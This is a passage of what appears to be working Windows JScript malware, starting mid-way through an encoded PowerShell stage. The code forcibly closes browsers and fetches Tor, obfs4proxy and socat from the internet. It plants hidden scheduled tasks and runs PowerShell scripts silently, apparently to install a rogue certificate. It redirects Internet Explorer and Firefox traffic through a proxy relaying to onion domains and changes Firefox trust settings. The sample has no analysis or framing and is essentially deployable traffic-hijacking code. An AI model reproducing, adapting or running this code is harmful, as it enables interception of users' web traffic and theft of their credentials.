Lm51cGtnJywkRmlsZSk7DQppZiAoKFRlc3QtUGF0aCAkRGVzdCkgLWVxIDEpe3JtIC1Gb3JjZSAtUmVjdXJzZSAkRGVzdDt9bWQgJERlc3QgfCBPdXQtTnVsbDsNClVuemlwICRGaWxlICREZXN0Ow0Kcm0gLUZvcmNlICRGaWxlOw0KJFRTQXNzZW1ibHk9JERlc3QrJ1xsaWJcbmV0MjBcTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuZGxsJzsNCiRsb2FkTGliID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZEZpbGUoJFRTQXNzZW1ibHkpOw0KJFRGaWxlPSRlbnY6VGVtcCsnXHQuemlwJzsNCiREZXN0VFA9JGVudjpBUFBEQVRBKydcTVMnOw0KKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9kaXN0LnRvcnByb2plY3Qub3JnL3RvcmJyb3dzZXIvNy4wL3Rvci13aW4zMi0wLjMuMC43LnppcCcsJFRGaWxlKTsNCmlmICgoVGVzdC1QYXRoICREZXN0VFApIC1lcSAxKXtybSAtRm9yY2UgLVJlY3Vyc2UgJERlc3RUUDt9bWQgJERlc3RUUCB8IE91dC1OdWxsOw0KVW56aXAgJFRGaWxlICREZXN0VFA7DQpybSAtRm9yY2UgJFRGaWxlOw0KJHRvcj0kRGVzdFRQKydcVG9yXHRvci5leGUnOw0KJG9iZnM0PSREZXN0VFArJ1xUb3Jcb2JmczRwcm94eS5leGUnOw0KKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9naXRodWIuY29tL2dhcmV0aGZsb3dlcnMvdG9yLWJyb3dzZXItcG9ydGFibGUvcmF3L21hc3Rlci9Ub3JCcm93c2VyUG9ydGFibGUvQXBwL1RvckJyb3dzZXIvVG9yQnJvd3Nlci9Ub3IvUGx1Z2dhYmxlVHJhbnNwb3J0cy9vYmZzNHByb3h5LmV4ZScsJG9iZnM0KTsNCmlmICgkKFRyeSB7IFRlc3QtUGF0aCAkb2JmczQudHJpbSgpIH0gQ2F0Y2ggeyAkZmFsc2UgfSkpew0KJHRvcl9kaXI9JGVudjpBUFBEQVRBKydcdG9yJzsNCmlmICgoVGVzdC1QYXRoICR0b3JfZGlyKSAtZXEgMSl7cm0gLUZvcmNlIC1SZWN1cnNlICR0b3JfZGlyO31tZCAkdG9yX2RpciB8IE91dC1OdWxsOw0KJHRvcnJjPSR0b3JfZGlyKydcdG9ycmMnOw0KQmFzZTY0VG9GaWxlICR0b3JyYyAnVlhObFFuSnBaR2RsY3lBeERRcERiR2xsYm5SVWNtRnVjM0J2Y25SUWJIVm5hVzRnYjJKbWN6UWdaWGhsWXlCdlltWnpOSEJ5YjNoNUxtVjRaU0J0WVc1aFoyVmtEUXBDY21sa1oyVWdiMkptY3pRZ01UazBMakV6TWk0eU1Ea3VNVFUwT2pVNU9EZzRJRUk0TXpkRlJqQXpPRE5ETUVJeE16TXdRVGs0TjBJNVF6VkVSa0kyUmpKRFFrUkJNelZEUVVFZ1kyVnlkRDF4UzBwV2QyTnpaSGhGYkZCNlRXSnZkekl4Y205cVNGSkRRbHBrZUVGa2QzVjRXRzVSVlRGc1p5OXpPVWxHTldWb0t6ZDFhV2x0WW5CclZFVjNVbGgxVFZSRlVsUjNJR2xoZEMxdGIyUmxQVEFOQ2tKeWFXUm5aU0J2WW1aek5DQTBOUzQxTlM0eExqYzBPamswTkRNZ05rWXhPRVpGUmtKQ01FTkJSVU5FTlVGQ1FUYzFOVE14TWtaRFEwSXpORVpETVRGQk4wRkNPQ0JqWlhKMFBYYzRTQzk0Tm1sblEzaHNhV2RpUmpKWVFrbGplRTVGVjNFcmVtbFZPV2d4TlhKMGQybHJPREp2UVhGT1dGcDNTakkxYjBoM1lXeDZVbGxMTlZkUFNrbEJaVXRqUTFFZ2FXRjBMVzF2WkdVOU1BMEtRbkpwWkdkbElHOWlabk0wSURNNExqSXlPUzR6TXk0eE5EWTZORFE1TlRBZ09UWTVSREEzTVVKRU9EbEJOamhETVRVNU5Ea3hOVFpEUkRGRFFUSTVRVE16UVVZMk16VkRNaUJqWlhKMFBYWmlZV2cyYWtSclMxTXdUbEp4VnpGNFowdG5Oa3RrTTFWdWNqRlFNVEkxZGtSMlJEbEdZbGx2WkZvdlpuTnhVUzlOVjBSTE1qYzNVRTVCU21sSGRXUjZTRVZDUjJjZ2FXRjBMVzF2WkdVOU1RMEtRbkpwWkdkbElHOWlabk0wSURFNU5DNHhNekl1TWpBNUxqRTVPalF4TkRjNElEYzRNMFV5TnpaRE5qZzRPVUpHTnpNNU1EZEdNamsxUVVFNU16SXhPVVkzTnpZeVFrSTVNRFlnWTJWeWREMXZSREJKZURWUVQzSlNUVmRGTUVZMFlYUnpORlJUWWxaSWR5dDRNelVyUTJWWFpYTnZiVGhUTlZKNGNqbFdObVJVVG05dldHSTFVV1ZpUlVsR1RHVTNPRmxwWTB4M0lHbGhkQzF0YjJSbFBUQU5Da0p5YVdSblpTQnZZbVp6TkNBeE9USXVNell1TXpFdU1USXlPalEwT1RrMElEWXpSalV4TmpnNFFqTTRPVFkyTmtSQ01FWXdOVFUyUXpVMlJUazNPVFV4TmtReVFqbEVNemdnWTJWeWREMVJTMWhKUW1jcmNtVTNaa3hwYlcxQ1RXSktiblJpVlRkM2QzY3dWV0V4UTJaUFZTOVlLMWxWYzFBeFNUTk9jM0ZMVWtOS1dEbFhWRFpSVkdFNVNHMXRlR2t4T0ZobklHbGhkQzF0YjJSbFBUQU5Da0p5YVdSblpTQnZZbVp6TkNBMU5DNHlNREl1TVRNMUxqRTFPamswTkRNZ016ZEVOakV4UmpKRE1UTkNPREEyTjBaRU56SkRNemszTURaQ1F6RTFORU5HTWtNNE16azNPQ0JqWlhKMFBVNUxWM0ZKYm1SMk5WQjZaREY2WW5GSUt6YzRUekJGVTFVM2N6SmhObU5qS3pab09URk9Zbk56YlhObWVqVlVUWEF4V0ZkeGNXVndlbGg0VGtOMWVFaEZlRmcwUWtFZ2FXRjBMVzF2WkdVOU1BMEtRbkpwWkdkbElHOWlabk0wSURNMUxqRTROeTR5TVRZdU1qTXdPamswTkRNZ016VTBOMFpHUmpsR05rRkdOVEV3T1RORk1USTVNRVZDT1RFd01UazVRVGRGT1RJd09EVXhNaUJqWlhKMFBWZGpXRkl6WmtWSVpVRjNOV0pJU2pOU2NYSXZka0ZvVEhwNVpDOVhMM2N3WW1semJrOWpabXh0WXk5SVUwTmlUVFZHV1hGMFVWRkdaRTlPYkVsMVozZGtTMjA1WlhjZ2FXRjBMVzF2WkdVOU1BMEtRbkpwWkdkbElHOWlabk0wSURFd09TNDNOQzR4T1RndU1qVXlPak0zTnpjeElEZ3hOamRHTWpJMU5EQTFRa1pCTnpFMk16TkNSREpDUXpWQ09EVTVPVUV4UVRneU4wWkRSak1nWTJWeWREMDRaa3RVWTJ4bmRVeEpObloxUkU1eWJGUlNjbFpxTkRaMk1qTk9XVkZVY3pKVVZVRndTWEJ1WVhrMU1raFZWVUlyY1VaNFZYcEhhVE50YTJvcmRFdzVieXRUUTFwM0lHbGhkQzF0YjJSbFBUQU5DZz09JzsNCn0NCiR0b3I9JHRvci5SZXBsYWNlKCdcJywnLycpOw0KJHRvcl9jbWQ9ImAiamF2YXNjcmlwdDpjbG9zZShuZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpLlJ1bignJHRvcicsMCxmYWxzZSkpYCIiOw0KQWRkVGFzayAnU1VUJyAnbXNodGEuZXhlJyAkdG9yX2NtZDsNCiRTRmlsZT0kZW52OlRlbXArJ1xzLnppcCc7DQooTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwczovL2dpdGh1Yi5jb20vU3R1ZGlvRXRyYW5nZS9zb2NhdC13aW5kb3dzL2FyY2hpdmUvMS43LjIuMS56aXAnLCRTRmlsZSk7DQpVbnppcCAkU0ZpbGUgJERlc3RUUDsNCiRzX29sZD0kRGVzdFRQKydcc29jYXQtd2luZG93cy0xLjcuMi4xXCc7DQpybSAtRm9yY2UgJFNGaWxlOw0KUmVuYW1lLUl0ZW0gLXBhdGggJHNfb2xkIC1uZXdOYW1lICdzJzsNCiRzX2ZvbGQ9JERlc3RUUCsnXHNcJzsNCiRzMWNtZD0nc29jYXQgdGNwNC1MSVNURU46NTU1NSxyZXVzZWFkZHIsZm9yayxrZWVwYWxpdmUsYmluZD0xMjcuMC4wLjEgU09DS1M0QToxMjcuMC4wLjE6JURPTUFJTiU6ODAsc29ja3Nwb3J0PTkwNTAnOw0KJHMyY21kPSdzb2NhdCB0Y3A0LUxJU1RFTjo1NTg4LHJldXNlYWRkcixmb3JrLGtlZXBhbGl2ZSxiaW5kPTEyNy4wLjAuMSBTT0NLUzRBOjEyNy4wLjAuMTolRE9NQUlOJTo1NTg4LHNvY2tzcG9ydD05MDUwJzsNCiRzMV9jbWQ9ImAiamF2YXNjcmlwdDpjbG9zZShuZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpLlJ1bignJHMxY21kJywwLGZhbHNlKSlgIiI7DQokczJfY21kPSJgImphdmFzY3JpcHQ6Y2xvc2UobmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKS5SdW4oJyRzMmNtZCcsMCxmYWxzZSkpYCIiOw0KQWRkVGFzayAnTVJUJyAnbXNodGEuZXhlJyAkczFfY21kIDAgMCAkc19mb2xkOw0KQWRkVGFzayAnU0MnICdtc2h0YS5leGUnICRzMl9jbWQgMCAwICRzX2ZvbGQ7DQp9DQpJVFA="
};
var Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) +
this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function(e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
},
_utf8_encode: function(e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
},
_utf8_decode: function(e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) <<
6 | c3 & 63);
n += 3
}
}
return t
}
};
var Help = {
BinaryDataToFile: function(sFileName, bData) {
var streamW = new ActiveXObject("ADODB.Stream");
streamW.Open();
streamW.Type = BINARY_STREAM_TYPE;
var rs = new ActiveXObject("ADODB.Recordset");
var len = bData.length * 2;
rs.Fields.Append("data", 204, len, 0x80);
rs.Open();
rs.AddNew();
rs.Fields("data").AppendChunk(bData);
rs.Update();
rs.MoveFirst();
var binArray = rs("data").GetChunk(len);
rs.Close();
streamW.Write(binArray);
streamW.Position = 0;
if (fso.FileExists(sFileName)) {
fso.DeleteFile(sFileName)
}
streamW.SaveToFile(sFileName);
streamW.Close();
var outStreamA = new ActiveXObject("ADODB.Stream");
var outStreamB = new ActiveXObject("ADODB.Stream");
outStreamA.Type = TEXT_STREAM_TYPE;
outStreamB.Type = TEXT_STREAM_TYPE;
outStreamB.Charset = "ISO-8859-1";
outStreamA.Open();
outStreamB.Open();
outStreamA.LoadFromFile(sFileName);
outStreamA.Position = 0;
outStreamA.CopyTo(outStreamB);
outStreamA.Close();
outStreamB.SaveToFile(sFileName, CREATE_OVERWRITE_SAVE_MODE);
outStreamB.Close()
},
RandomNumber: function(m, n) {
m = parseInt(m, 10);
n = parseInt(n, 10);
return Math.floor(Math.random() * (n - m + 1)) + m
},
GenStr: function(length, special) {
var iteration = 0;
var password = "";
var randomNumber;
if (special === undefined) {
special = false
}
while (iteration < length) {
randomNumber = (Math.floor((Math.random() * 100)) % 94) +
33;
if (!special) {
if ((randomNumber >= 33) && (randomNumber <= 47)) {
continue
}
if ((randomNumber >= 58) && (randomNumber <= 64)) {
continue
}
if ((randomNumber >= 91) && (randomNumber <= 96)) {
continue
}
if ((randomNumber >= 123) && (randomNumber <= 126)) {
continue
}
}
iteration++;
password += String.fromCharCode(randomNumber)
}
return password
},
trim: function(str) {
return str.replace(/(^\s+)|(\s+$)/g, "")
}
};
if (!String.format) {
String.format = function(format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function(match, number) {
return typeof args[number] != "undefined" ? args[number] :
match
})
}
}
function C_IE() {
this.FileName = Help.GenStr(8) + ".ps1";
this.GetIp = function() {
var xhttp = new ActiveXObject("MSXML2.XMLHTTP");
try {
xhttp.open("GET", "http://api.ipify.org/", false);
xhttp.send();
if (xhttp.status == 200) {
return Help.trim(xhttp.responseText)
}
} catch (e) {}
try {
xhttp.open("GET", "http://icanhazip.com/", false);
xhttp.send();
if (xhttp.status == 200) {
return Help.trim(xhttp.responseText)
}
} catch (e) {
return ""
}
};
this.InstallPac = function() {
wss.RegWrite(Base64.decode(
"SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"
), 0, "REG_DWORD");
for (var i = 0; i < 5; i++) {
var sIp = this.GetIp();
if (sIp.length > 0) {
this.WriteReg(String.format(
"http://127.0.0.1:5555/{0}.js?ip={1}", Help.GenStr(
8), sIp))
}
}
};
this.WriteReg = function(s) {
wss.RegWrite(Base64.decode(
"SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"
), s, "REG_SZ")
};
this.IC = function() {
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.ps);
bData = bData.replace("%CERT%", Cfg.cert);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function C_FF() {
var StrFirefoxProfilesDir = ENV_APPDATA + "\\Mozilla\\Firefox\\Profiles";
this.FileName = Help.GenStr(8) + ".ps1";
this.GetProfile = function() {
if (fso.FolderExists(StrFirefoxProfilesDir)) {
var ArrFirefoxProfileList = fso.GetFolder(StrFirefoxProfilesDir)
.SubFolders;
if (ArrFirefoxProfileList.Count > 0) {
var e = new Enumerator(ArrFirefoxProfileList);
e.moveFirst();
while (e.atEnd() == false) {
var folder = e.item();
if (folder.Name.indexOf(".default") > -1) {
return folder.Path
}
e.moveNext()
}
}
}
return false
};
this.InstallPac = function() {
var StrProfile = this.GetProfile();
if (StrProfile != false) {
var StrPrefsJs = StrProfile + Base64.decode("XHByZWZzLmpz");
if (fso.FileExists(StrPrefsJs)) {
var StrContent = fso.OpenTextFile(StrPrefsJs, 1).ReadAll();
var ArrContent = StrContent.split("\n");
var NewArrContent = [];
for (var i = 0; i < ArrContent.length; i++) {
if (ArrContent[i].indexOf("network.dns.blockDotOnion") !=
-1) {
ArrContent[i] = ArrContent[i].replace("true",
"false")
}
if (ArrContent[i].indexOf("network.proxy.") == -1 &&
ArrContent[i].indexOf(
"security.enterprise_roots.enabled") == -1) {
NewArrContent.push(ArrContent[i])
}
}
NewArrContent.push(
"user_pref(\"network.dns.blockDotOnion\", false);");
NewArrContent.push(
"user_pref(\"security.enterprise_roots.enabled\", true);"
);
StrContent = NewArrContent.join("\n");
var stream = fso.CreateTextFile(StrPrefsJs, true);
stream.Write(StrContent);
stream.Close()
}
}
};
this.InstallCert = function() {
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.psf);
bData = bData.replace("%CERT%", Cfg.cert);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function C_TP() {
this.FileName = Help.GenStr(8) + ".ps1";
this.Install = function() {
var indexDomain = Help.RandomNumber(0, Cfg.dl.length - 1);
var Domain = Cfg.dl[indexDomain];
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.pstp);
bData = bData.replace(/%DOMAIN%/g, Domain);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function Core() {
this.Init = function() {
Exp = new C_IE();
Fire = new C_FF();
TP = new C_TP()
};
this.S = function() {
this.Init();
TP.Install();
this.CAB();
this.IIE();
this.IF();
this.Close()
};
this.IIE = function() {
Exp.IC();
Exp.InstallPac()
};
this.IF = function() {
Fire.InstallCert();
Fire.InstallPac()
};
this.CAB = function() {
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGlleHBsb3JlLmV4ZQ=="),
0, false);
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGZpcmVmb3guZXhl"), 0,
false);
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGNocm9tZS5leGU="), 0,
false)
};
this.Close = function() {
Exp.Close();
Fire.Close();
TP.Close()
}
}
var main = new Core();
main.S();